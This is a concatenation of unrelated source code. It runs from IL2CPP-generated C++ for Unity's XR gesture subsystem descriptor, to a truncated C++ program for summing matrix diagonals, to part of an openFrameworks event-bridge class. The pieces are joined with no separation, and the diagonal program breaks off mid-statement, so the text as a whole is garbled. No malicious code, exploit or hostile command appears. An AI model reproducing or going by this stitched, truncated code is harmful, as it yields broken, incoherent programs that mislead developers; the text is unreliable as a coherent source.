XRGestureSubsystemDescriptor_RegisterDescriptor_m1B6F94B030D0B30DF6F42008FF3B6141633E41FA (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 ___cinfo0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&SubsystemRegistration_tC119E4E15B2EA84DE58F44840EBED3221FF8CFF2_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // SubsystemRegistration.CreateDescriptor(new XRGestureSubsystemDescriptor(cinfo)); Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 L_0 = ___cinfo0; XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB * L_1 = (XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB *)il2cpp_codegen_object_new(XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB_il2cpp_TypeInfo_var); XRGestureSubsystemDescriptor__ctor_mB9354CD4C2BCCBB5CD4AC50F09DE4A76652825D5(L_1, L_0, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(SubsystemRegistration_tC119E4E15B2EA84DE58F44840EBED3221FF8CFF2_il2cpp_TypeInfo_var); bool L_2; L_2 = SubsystemRegistration_CreateDescriptor_m6C69D0D80C317F66888FEBF67DFEE327E3462A54(L_1, /*hidden argument*/NULL); // } return; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor::.ctor(UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystemDescriptor__ctor_mB9354CD4C2BCCBB5CD4AC50F09DE4A76652825D5 (XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB * __this, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 ___cinfo0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&SubsystemDescriptor_1__ctor_m726DAD2ACE74AFA7421100A51D4763218EE3ACCE_RuntimeMethod_var); s_Il2CppMethodInitialized = true; } { // XRGestureSubsystemDescriptor(Cinfo cinfo) SubsystemDescriptor_1__ctor_m726DAD2ACE74AFA7421100A51D4763218EE3ACCE(__this, /*hidden argument*/SubsystemDescriptor_1__ctor_m726DAD2ACE74AFA7421100A51D4763218EE3ACCE_RuntimeMethod_var); // id = cinfo.id; String_t* L_0; L_0 = Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)(&___cinfo0), /*hidden argument*/NULL); SubsystemDescriptor_set_id_m3394B5AEBBE25A1924FD34FC0608DD5AACABBE2C_inline(__this, L_0, /*hidden argument*/NULL); // subsystemImplementationType = cinfo.subsystemImplementationType; Type_t * L_1; L_1 = Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)(&___cinfo0), /*hidden argument*/NULL); SubsystemDescriptor_set_subsystemImplementationType_mAEAE9A52920C64D2A9C5B6316E30353AFA581AA4_inline(__this, L_1, /*hidden argument*/NULL); // } return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::Destroy() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Provider_Destroy_m74F556AB8D3570C080F37A85F08E81964726962A (Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03_RuntimeMethod_var); s_Il2CppMethodInitialized = true; } { // m_ActivateGestureEvents.Dispose(); NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 * L_0 = __this->get_address_of_m_ActivateGestureEvents_0(); NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03((NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 *)L_0, /*hidden argument*/NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03_RuntimeMethod_var); // } return; } } // Unity.Collections.NativeArray`1 UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::get_activateGestureEvents() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 Provider_get_activateGestureEvents_mDC6FBA85506A66C8127186509520BC8605084C6C (Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * __this, const RuntimeMethod* method) { { // public NativeArray activateGestureEvents { get { return m_ActivateGestureEvents; } } NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 L_0 = __this->get_m_ActivateGestureEvents_0(); return L_0; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::.ctor() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Provider__ctor_m36D6E0EA17A1FFCC01D5ADFE398F6B42E128282B (Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2_RuntimeMethod_var); s_Il2CppMethodInitialized = true; } { // protected NativeArray m_ActivateGestureEvents = new NativeArray(0, Allocator.Persistent); NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 L_0; memset((&L_0), 0, sizeof(L_0)); NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2((&L_0), 0, 4, 1, /*hidden argument*/NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2_RuntimeMethod_var); __this->set_m_ActivateGestureEvents_0(L_0); Object__ctor_m88880E0413421D13FD95325EDCE231707CE1F405(__this, /*hidden argument*/NULL); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // Conversion methods for marshalling of: UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo IL2CPP_EXTERN_C void Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshal_pinvoke(const Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227& unmarshaled, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_pinvoke& marshaled) { Exception_t* ___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'k__BackingField' of type 'Cinfo': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception, NULL); } IL2CPP_EXTERN_C void Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshal_pinvoke_back(const Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_pinvoke& marshaled, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227& unmarshaled) { Exception_t* ___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'k__BackingField' of type 'Cinfo': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception, NULL); } // Conversion method for clean up from marshalling of: UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo IL2CPP_EXTERN_C void Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshal_pinvoke_cleanup(Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo IL2CPP_EXTERN_C void Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshal_com(const Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227& unmarshaled, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_com& marshaled) { Exception_t* ___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'k__BackingField' of type 'Cinfo': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception, NULL); } IL2CPP_EXTERN_C void Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshal_com_back(const Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_com& marshaled, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227& unmarshaled) { Exception_t* ___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'k__BackingField' of type 'Cinfo': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___U3CsubsystemImplementationTypeU3Ek__BackingField_1Exception, NULL); } // Conversion method for clean up from marshalling of: UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo IL2CPP_EXTERN_C void Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshal_com_cleanup(Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_com& marshaled) { } // System.String UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::get_id() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method) { { // public string id { get; set; } String_t* L_0 = __this->get_U3CidU3Ek__BackingField_0(); return L_0; } } IL2CPP_EXTERN_C String_t* Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); String_t* _returnValue; _returnValue = Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline(_thisAdjusted, method); return _returnValue; } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::set_id(System.String) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Cinfo_set_id_mE23FF76031CA3903EF8F85D49DBF7407DC6E5DFB (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, String_t* ___value0, const RuntimeMethod* method) { { // public string id { get; set; } String_t* L_0 = ___value0; __this->set_U3CidU3Ek__BackingField_0(L_0); return; } } IL2CPP_EXTERN_C void Cinfo_set_id_mE23FF76031CA3903EF8F85D49DBF7407DC6E5DFB_AdjustorThunk (RuntimeObject * __this, String_t* ___value0, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); Cinfo_set_id_mE23FF76031CA3903EF8F85D49DBF7407DC6E5DFB_inline(_thisAdjusted, ___value0, method); } // System.Type UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::get_subsystemImplementationType() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Type_t * Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method) { { // public Type subsystemImplementationType { get; set; } Type_t * L_0 = __this->get_U3CsubsystemImplementationTypeU3Ek__BackingField_1(); return L_0; } } IL2CPP_EXTERN_C Type_t * Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); Type_t * _returnValue; _returnValue = Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline(_thisAdjusted, method); return _returnValue; } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::set_subsystemImplementationType(System.Type) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Cinfo_set_subsystemImplementationType_m5965A6CDF66B1D7AF30028F3822077B1788A78B8 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, Type_t * ___value0, const RuntimeMethod* method) { { // public Type subsystemImplementationType { get; set; } Type_t * L_0 = ___value0; __this->set_U3CsubsystemImplementationTypeU3Ek__BackingField_1(L_0); return; } } IL2CPP_EXTERN_C void Cinfo_set_subsystemImplementationType_m5965A6CDF66B1D7AF30028F3822077B1788A78B8_AdjustorThunk (RuntimeObject * __this, Type_t * ___value0, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); Cinfo_set_subsystemImplementationType_m5965A6CDF66B1D7AF30028F3822077B1788A78B8_inline(_thisAdjusted, ___value0, method); } // System.Int32 UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Cinfo_GetHashCode_mECBAFE490016469F4E4282D9D9A8EA75CF4B07A3 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Type_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } int32_t G_B3_0 = 0; int32_t G_B5_0 = 0; int32_t G_B4_0 = 0; int32_t G_B6_0 = 0; int32_t G_B6_1 = 0; { // var hash = (id != null) ? id.GetHashCode() : 0; String_t* L_0; L_0 = Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, /*hidden argument*/NULL); if (L_0) { goto IL_000b; } } { G_B3_0 = 0; goto IL_0016; } IL_000b: { String_t* L_1; L_1 = Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, /*hidden argument*/NULL); NullCheck(L_1); int32_t L_2; L_2 = VirtFuncInvoker0< int32_t >::Invoke(2 /* System.Int32 System.Object::GetHashCode() */, L_1); G_B3_0 = L_2; } IL_0016: { // hash = hash * 486187739 + ((subsystemImplementationType != null) ? subsystemImplementationType.GetHashCode() : 0); Type_t * L_3; L_3 = Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); bool L_4; L_4 = Type_op_Inequality_m6DDC5E923203A79BF505F9275B694AD3FAA36DB0(L_3, (Type_t *)NULL, /*hidden argument*/NULL); G_B4_0 = ((int32_t)il2cpp_codegen_multiply((int32_t)G_B3_0, (int32_t)((int32_t)486187739))); if (L_4) { G_B5_0 = ((int32_t)il2cpp_codegen_multiply((int32_t)G_B3_0, (int32_t)((int32_t)486187739))); goto IL_002d; } } { G_B6_0 = 0; G_B6_1 = G_B4_0; goto IL_0038; } IL_002d: { Type_t * L_5; L_5 = Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, /*hidden argument*/NULL); NullCheck(L_5); int32_t L_6; L_6 = VirtFuncInvoker0< int32_t >::Invoke(2 /* System.Int32 System.Object::GetHashCode() */, L_5); G_B6_0 = L_6; G_B6_1 = G_B5_0; } IL_0038: { // return hash; return ((int32_t)il2cpp_codegen_add((int32_t)G_B6_1, (int32_t)G_B6_0)); } } IL2CPP_EXTERN_C int32_t Cinfo_GetHashCode_mECBAFE490016469F4E4282D9D9A8EA75CF4B07A3_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); int32_t _returnValue; _returnValue = Cinfo_GetHashCode_mECBAFE490016469F4E4282D9D9A8EA75CF4B07A3(_thisAdjusted, method); return _returnValue; } // System.Boolean UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::Equals(System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Cinfo_Equals_m4C31DF311F40C38E4BD8870ED845393A70159D33 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, RuntimeObject * ___obj0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // if (!(obj is Cinfo)) RuntimeObject * L_0 = ___obj0; if (((RuntimeObject *)IsInstSealed((RuntimeObject*)L_0, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_il2cpp_TypeInfo_var))) { goto IL_000a; } } { // return false; return (bool)0; } IL_000a: { // return Equals((Cinfo)obj); RuntimeObject * L_1 = ___obj0; bool L_2; L_2 = Cinfo_Equals_m1352D9711AED61A25CFD270F8FB3DC0CCA2525F5((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, ((*(Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)UnBox(L_1, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); return L_2; } } IL2CPP_EXTERN_C bool Cinfo_Equals_m4C31DF311F40C38E4BD8870ED845393A70159D33_AdjustorThunk (RuntimeObject * __this, RuntimeObject * ___obj0, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); bool _returnValue; _returnValue = Cinfo_Equals_m4C31DF311F40C38E4BD8870ED845393A70159D33(_thisAdjusted, ___obj0, method); return _returnValue; } // System.Boolean UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::Equals(UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Cinfo_Equals_m1352D9711AED61A25CFD270F8FB3DC0CCA2525F5 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 ___other0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Type_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // return // string.Equals(id, other.id) && // (subsystemImplementationType == other.subsystemImplementationType); String_t* L_0; L_0 = Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, /*hidden argument*/NULL); String_t* L_1; L_1 = Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)(&___other0), /*hidden argument*/NULL); bool L_2; L_2 = String_Equals_mAFC6038D294F341434D9D67D7EADC7F97C556C9B(L_0, L_1, /*hidden argument*/NULL); if (!L_2) { goto IL_0027; } } { Type_t * L_3; L_3 = Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)__this, /*hidden argument*/NULL); Type_t * L_4; L_4 = Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline((Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 *)(&___other0), /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); bool L_5; L_5 = Type_op_Equality_mA438719A1FDF103C7BBBB08AEF564E7FAEEA0046(L_3, L_4, /*hidden argument*/NULL); return L_5; } IL_0027: { return (bool)0; } } IL2CPP_EXTERN_C bool Cinfo_Equals_m1352D9711AED61A25CFD270F8FB3DC0CCA2525F5_AdjustorThunk (RuntimeObject * __this, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 ___other0, const RuntimeMethod* method) { int32_t _offset = 1; Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * _thisAdjusted = reinterpret_cast(__this + _offset); bool _returnValue; _returnValue = Cinfo_Equals_m1352D9711AED61A25CFD270F8FB3DC0CCA2525F5(_thisAdjusted, ___other0, method); return _returnValue; } #ifdef __clang__ #pragma clang diagnostic pop #endif IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF_inline (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method) { { // public GestureId id { get { return m_Id; } } GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_0 = __this->get_m_Id_0(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR int32_t ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D_inline (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method) { { // public GestureState state { get { return m_State; } } int32_t L_0 = __this->get_m_State_1(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR uint64_t GestureId_get_subId1_m547C714F376171ADAA9449F4E35F2E6161DB9364_inline (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method) { { // get { return m_SubId1; } uint64_t L_0 = __this->get_m_SubId1_1(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void GestureId_set_subId1_m666DE846D8E289BBCE2CFD8DCE41E294EC1BC00C_inline (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, uint64_t ___value0, const RuntimeMethod* method) { { // set { m_SubId1 = value; } uint64_t L_0 = ___value0; __this->set_m_SubId1_1(L_0); // set { m_SubId1 = value; } return; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 Provider_get_activateGestureEvents_mDC6FBA85506A66C8127186509520BC8605084C6C_inline (Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * __this, const RuntimeMethod* method) { { // public NativeArray activateGestureEvents { get { return m_ActivateGestureEvents; } } NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 L_0 = __this->get_m_ActivateGestureEvents_0(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR String_t* Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method) { { // public string id { get; set; } String_t* L_0 = __this->get_U3CidU3Ek__BackingField_0(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void SubsystemDescriptor_set_id_m3394B5AEBBE25A1924FD34FC0608DD5AACABBE2C_inline (SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 * __this, String_t* ___value0, const RuntimeMethod* method) { { String_t* L_0 = ___value0; __this->set_U3CidU3Ek__BackingField_0(L_0); return; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR Type_t * Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method) { { // public Type subsystemImplementationType { get; set; } Type_t * L_0 = __this->get_U3CsubsystemImplementationTypeU3Ek__BackingField_1(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void SubsystemDescriptor_set_subsystemImplementationType_mAEAE9A52920C64D2A9C5B6316E30353AFA581AA4_inline (SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 * __this, Type_t * ___value0, const RuntimeMethod* method) { { Type_t * L_0 = ___value0; __this->set_U3CsubsystemImplementationTypeU3Ek__BackingField_1(L_0); return; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void Cinfo_set_id_mE23FF76031CA3903EF8F85D49DBF7407DC6E5DFB_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, String_t* ___value0, const RuntimeMethod* method) { { // public string id { get; set; } String_t* L_0 = ___value0; __this->set_U3CidU3Ek__BackingField_0(L_0); return; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void Cinfo_set_subsystemImplementationType_m5965A6CDF66B1D7AF30028F3822077B1788A78B8_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, Type_t * ___value0, const RuntimeMethod* method) { { // public Type subsystemImplementationType { get; set; } Type_t * L_0 = ___value0; __this->set_U3CsubsystemImplementationTypeU3Ek__BackingField_1(L_0); return; } } C++ & C/diagonals_sum.cpp #include using namespace std; int main () { int a[10][10]; int i, j, r, c, sum2 = 0, sum1 = 0; cout<<"\n Enter the no. of rows in matrix : "; cin>>r; cout<<"\n Enter the no. of columns in matrix : "; cin>>c; if (r == c ) { cout<<"\n Enter the elements of the matrix \n"; for (i = 0; i < r; ++i) { for (j = 0; j < c; ++j) { cout << " Enter element a" << i + 1 << j + 1 << " : "; cin>>a[i][j]; } } cout<markkorput/of2030 // // effect_creator.cpp // emptyExample // // Created by on 16-04-19. // // #include "interface_player_bridge.hpp" #include "effects.hpp" #include "xml_configs.hpp" #include "video_manager.hpp" #include "image_manager.hpp" using namespace of2030; SINGLETON_INLINE_IMPLEMENTATION_CODE(InterfacePlayerBridge) InterfacePlayerBridge::InterfacePlayerBridge(){ m_interface = NULL; m_player = NULL; m_bStarted = false; active_effects = NULL; } InterfacePlayerBridge::~InterfacePlayerBridge(){ destroy(); } void InterfacePlayerBridge::setup(){ ofLogVerbose() << "InterfacePlayerBridge::setup"; if(!m_interface) m_interface = Interface::instance(); if(!m_player){ m_player = Player::instance(); } if(!active_effects){ active_effects = &m_player->getActiveEffects(); } if(!m_bStarted) registerCallbacks(true); m_bStarted = true; } void InterfacePlayerBridge::destroy(){ if(m_bStarted) registerCallbacks(false); m_bStarted = false; } void InterfacePlayerBridge::registerCallbacks(bool _register){ ofLogVerbose() << "InterfacePlayerBridge::registerCallbacks with: " << _register; if(_register){ // subscribe to events ofAddListener(m_interface->triggerEvent, this, &InterfacePlayerBridge::onTrigger); ofAddListener(m_interface->stopTriggerEvent, this, &InterfacePlayerBridge::onStopTrigger); ofAddListener(m_interface->effectConfigEvent, this, &InterfacePlayerBridge::onEffectConfig); ofAddListener(m_interface->screenConfigEvent, this, &InterfacePlayerBridge::onScreenConfig); ofAddListener(m_player->effect_manager.effectRemovedEvent, this, &InterfacePlayerBridge::onEffectEnded); } else { // unsubscribe from events ofRemoveListener(m_interface->triggerEvent, this, &InterfacePlayerBridge::onTrigger); ofRemoveListener(m_interface->stopTriggerEvent, this, &InterfacePlayerBridge::onStopTrigger); ofRemoveListener(m_interface->effectConfigEvent, this, &InterfacePlayerBridge::onEffectConfig); ofRemoveListener(m_interface->screenConfigEvent, this, &InterfacePlayerBridge::onScreenConfig); 